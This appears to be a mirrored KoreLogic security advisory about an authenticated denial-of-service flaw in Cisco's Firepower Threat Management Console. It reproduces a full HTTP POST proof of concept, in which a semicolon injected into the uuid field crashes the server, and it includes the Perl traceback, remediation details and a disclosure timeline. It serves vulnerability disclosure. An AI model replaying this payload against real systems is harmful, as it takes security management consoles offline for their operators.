Cisco Firepower Threat Management Console Denial Of Service

2016-10-05T00:00:00
ID PACKETSTORM:138985
Type packetstorm
Reporter Matthew Bergin
Modified 2016-10-05T00:00:00

Description

                                        
                                            `KL-001-2016-004 : Cisco Firepower Threat Management Console Authenticated Denial  
of Service  
  
Title: Cisco Firepower Threat Management Console Authenticated Denial of Service  
Advisory ID: KL-001-2016-004  
Publication Date: 2016.10.05  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-004.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Cisco  
Affected Product: Firepower Threat Management Console  
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)  
Platform: Embedded Linux  
CWE Classification: CWE-404: Improper Resource Shutdown or Release  
Impact: Denial of Service  
Attack vector: HTTP  
  
2. Vulnerability Description  
  
A authenticated user can send an HTTP request that will crash  
the Mojo Server thereby making future access impossible until  
a system reboot is performed.  
  
  
3. Technical Description  
  
The parameter uuid is passed to a chmod function as part of  
a file path. A ';' in the path causes the function to return  
an exception.  
  
POST /pjb.cgi HTTP/1.1  
Host: 1.3.3.7  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)  
Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
DNT: 1  
Content-Type: application/x-www-form-urlencoded  
Referer: https://1.3.3.7/ddd/  
Content-Length: 1180  
Cookie:  
x-auto-507=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D;  
x-auto-467=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D;  
CGISESSID=ab588faec87c38a18347787e3b442ff8  
Connection: close  
  
  
&function=SF::UI::PJB::Vpn::List::saveVpnDeployment&parameters=%5B%7B%22password%22%3A%22test%22%2C+%22authentication_method%22%3A%22password%22%2C+%22type%22%3A%22PTP%22%2C+%22advanced_setting%22%3A%7B%22ah%22%3A0%2C+%22life_bytes%22%3A%220%22%2C+%22life_time%22%3A1%2C+%22life_time_unit%22%3A%22hours%22%2C+%22life_packets%22%3A%220%22%2C+%22ike_life_time%22%3A3%2C+%22ike_life_time_unit%22%3A%22hours%22%2C+%22ikev2%22%3A1%2C+%22ike_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22modp2048%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22modp2048%22%7D%5D%7D%2C+%22phase2_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22%22%7D%5D%7D%7D%2C+%22status%22%3A0%2C+%22name%22%3A%22test%22%2C+%22uuid%22%3A%2207a0d152-09fc-11e6-93cc-9d074250060f;%22%2C+%22applied%22%3A-1%7D%2C%5B%5D%5D&sf_action_id=a5ba3e29eb18730f7c8dc88d53b48759&ex=1&ss=AllVpnList  
  
As no exception handler is defined, the process exits.  
  
Perl traceback:  
  
The 'file' parameter  
("/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;.lock")  
to SF::System::chmod did not pass the 'Type Validator  
(system.file)' callback  
at /usr/local/sf/lib/perl/5.10.1/SF/System.pm line 73  
SF::System::__ANON__('The \'file\' parameter  
("/var/tmp/VPNDeployment-07a0d152-09fc...')  
called at /usr/local/sf/lib/perl/5.10.1/SF/System.pm  
line 640  
SF::System::chmod('HASH(0x114c3c88)')  
called at /usr/local/sf/lib/perl/5.10.1/SF/Util.pm  
line 619  
  
SF::Util::wait_for_lock('/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;....',  
120)  
called at  
/usr/local/sf/lib/perl/5.10.1/SF/EODataHandler/VPNDeployment.pm  
line 206  
  
SF::EODataHandler::VPNDeployment::get_lock('07a0d152-09fc-11e6-93cc-9d074250060f;')  
called at  
/usr/local/sf/lib/perl/5.10.1/SF/UI/PJB/Vpn/List.pm  
line 540  
SF::UI::PJB::Vpn::List::saveVpnDeployment('HASH(0x1154bf38)',  
'ARRAY(0x11513750)')  
called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm  
line 859  
SF::UI::PJB::executeFunction('SF::UI::PJB::Vpn::List::saveVpnDeployment',  
'ARRAY(0x11513720)')  
called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm  
line 821  
SF::UI::PJB::handleRequest('SF::UI::PJB::Vpn::List::saveVpnDeployment',  
'[{"password":"test", "authentication_method":"password",  
"typ...')  
called at  
/usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm  
line 39  
eval {...}  
called at  
/usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm  
line 42  
  
SF::Mojo::Handlers::PjbHandler::handle_pjb_cgi('SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm  
line 126  
Mojolicious::__ANON__(undef,  
'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',  
'CODE(0xd635740)', 1)  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm  
line 20  
Mojolicious::Plugins::__ANON__()  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm  
line 23  
Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)',  
'around_action',  
'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',  
'CODE(0xd635740)', 1)  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm  
line 106  
Mojolicious::Routes::_action('SF::Mojo=HASH(0x905ed38)',  
'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',  
'CODE(0xd635740)', 1)  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm  
line 191  
Mojolicious::Routes::_controller('Mojolicious::Routes=HASH(0x905f208)',  
'Mojolicious::Controller=HASH(0x1064dbf8)',  
'HASH(0x10026868)', 1)  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm  
line 43  
Mojolicious::Routes::continue('Mojolicious::Routes=HASH(0x905f208)',  
'Mojolicious::Controller=HASH(0x1064dbf8)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm  
line 51  
Mojolicious::Routes::dispatch('Mojolicious::Routes=HASH(0x905f208)',  
'Mojolicious::Controller=HASH(0x1064dbf8)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm  
line 118  
Mojolicious::dispatch('SF::Mojo=HASH(0x905ed38)',  
'Mojolicious::Controller=HASH(0x1064dbf8)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm  
line 127  
Mojolicious::__ANON__(undef,  
'Mojolicious::Controller=HASH(0x1064dbf8)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm  
line 20  
Mojolicious::Plugins::__ANON__()  
called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm  
line 217  
eval {...}  
called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm  
line 217  
SF::Mojo::__ANON__('CODE(0x1152fe98)',  
'Mojolicious::Controller=HASH(0x1064dbf8)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm  
line 20  
Mojolicious::Plugins::__ANON__()  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm  
line 199  
eval {...}  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm  
line 199  
Mojolicious::_exception('CODE(0xf58a1098)',  
'Mojolicious::Controller=HASH(0x1064dbf8)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm  
line 20  
Mojolicious::Plugins::__ANON__()  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm  
line 23  
Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)',  
'around_dispatch',  
'Mojolicious::Controller=HASH(0x1064dbf8)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm  
line 133  
Mojolicious::handler('SF::Mojo=HASH(0x905ed38)',  
'Mojo::Transaction::HTTP=HASH(0x114f6558)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server.pm line 71  
Mojo::Server::__ANON__('Mojo::Server::Prefork=HASH(0x8349e58)',  
'Mojo::Transaction::HTTP=HASH(0x114f6558)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm  
line 15  
Mojo::EventEmitter::emit('Mojo::Server::Prefork=HASH(0x8349e58)',  
'request', 'Mojo::Transaction::HTTP=HASH(0x114f6558)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm  
line 83  
Mojo::Server::Daemon::__ANON__('Mojo::Transaction::HTTP=HASH(0x114f6558)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm  
line 15  
Mojo::EventEmitter::emit('Mojo::Transaction::HTTP=HASH(0x114f6558)',  
'request')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Transaction/HTTP.pm  
line 65  
  
Mojo::Transaction::HTTP::server_read('Mojo::Transaction::HTTP=HASH(0x114f6558)',  
'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host:  
1.3.3.7\x{d}\x{a}User-Agent: Mozil...')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm  
line 186  
Mojo::Server::Daemon::_read('Mojo::Server::Prefork=HASH(0x8349e58)',  
'b2bd7252c6d676b510adb8ba94b9f73f', 'POST /pjb.cgi  
HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent:  
Mozil...')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm  
line 166  
Mojo::Server::Daemon::__ANON__('Mojo::IOLoop::Stream=HASH(0x103a7e40)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm  
line 33  
eval {...}  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm  
line 33  
Mojo::EventEmitter::emit_safe('Mojo::IOLoop::Stream=HASH(0x103a7e40)',  
'read', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host:  
1.3.3.7\x{d}\x{a}User-Agent: Mozil...')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm  
line 116  
Mojo::IOLoop::Stream::_read('Mojo::IOLoop::Stream=HASH(0x103a7e40)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm  
line 53  
Mojo::IOLoop::Stream::__ANON__('Mojo::Reactor::EV=HASH(0x88c8ca8)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm  
line 115  
eval {...}  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm  
line 115  
Mojo::Reactor::Poll::_sandbox('Mojo::Reactor::EV=HASH(0x88c8ca8)',  
'Read', 'CODE(0x1152e100)', 0)  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm  
line 52  
Mojo::Reactor::EV::_io('Mojo::Reactor::EV=HASH(0x88c8ca8)',  
77, 'EV::IO=SCALAR(0x10667cc8)', 3)  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm  
line 43  
Mojo::Reactor::EV::__ANON__('EV::IO=SCALAR(0x10667cc8)', 3)  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm  
line 24  
eval {...}  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm  
line 24  
Mojo::Reactor::EV::start('Mojo::Reactor::EV=HASH(0x88c8ca8)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop.pm  
line 130  
Mojo::IOLoop::start('Mojo::IOLoop=HASH(0x88c8a58)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm  
line 214  
Mojo::Server::Prefork::_spawn('Mojo::Server::Prefork=HASH(0x8349e58)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm  
line 122  
Mojo::Server::Prefork::_manage('Mojo::Server::Prefork=HASH(0x8349e58)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm  
line 96  
Mojo::Server::Prefork::run('Mojo::Server::Prefork=HASH(0x8349e58)')  
called at  
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Hypnotoad.pm  
line 77  
Mojo::Server::Hypnotoad::run('Mojo::Server::Hypnotoad=HASH(0x8953e50)',  
'/var/sf/bin/mojo_server.pl')  
called  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has addressed this vulnerability in their Support  
Center as Bug ID CSCva30631. Vendor acknowledgement available  
at: https://tools.cisco.com/bugsearch/  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel) of  
KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.  
2016.06.30 - Cisco acknowledges receipt of vulnerability report.  
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for  
this vulnerability and for 3 others reported in the  
same product.  
2016.08.12 - 30 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.02 - 45 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.09 - KoreLogic asks for an update on the status of the  
remediation efforts.  
2016.09.15 - Cisco confirms remediation is underway and soon to be  
completed.  
2016.09.28 - Cisco informs KoreLogic that the remediation details will  
be released publicly on 2016.10.05.  
2016.10.05 - Public disclosure.  
  
7. Proof of Concept  
  
See Technical Description  
  
  
The contents of this advisory are copyright(c) 2016  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
`